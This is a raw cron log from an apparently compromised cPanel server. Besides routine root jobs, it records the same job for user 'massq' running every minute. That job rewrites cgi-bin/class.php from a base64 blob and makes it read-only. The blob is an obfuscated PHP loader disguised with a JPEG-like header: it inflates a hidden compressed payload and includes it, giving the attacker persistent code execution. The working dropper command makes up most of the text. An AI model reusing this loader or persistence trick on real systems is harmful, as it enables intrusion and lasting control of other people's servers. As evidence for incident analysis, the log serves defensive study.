Nov  9 10:38:01 server CROND[23466]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:39:01 server CROND[24383]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov  9 10:39:01 server CROND[24385]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:40:01 server CROND[24919]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 10:40:01 server CROND[24918]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 10:40:01 server CROND[24920]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:40:01 server CROND[24923]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 10:41:01 server CROND[25780]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:42:01 server CROND[26602]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:42:01 server CROND[26603]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 10:43:01 server CROND[27582]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:44:01 server CROND[28404]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:45:01 server CROND[28905]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 10:45:01 server CROND[28906]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 10:45:01 server CROND[28907]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:46:01 server CROND[29745]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:47:01 server CROND[30141]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:48:01 server CROND[30909]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:49:01 server CROND[31894]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:50:01 server CROND[361]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 10:50:01 server CROND[363]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 10:50:01 server CROND[360]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 10:50:01 server CROND[362]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 10:50:01 server CROND[367]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
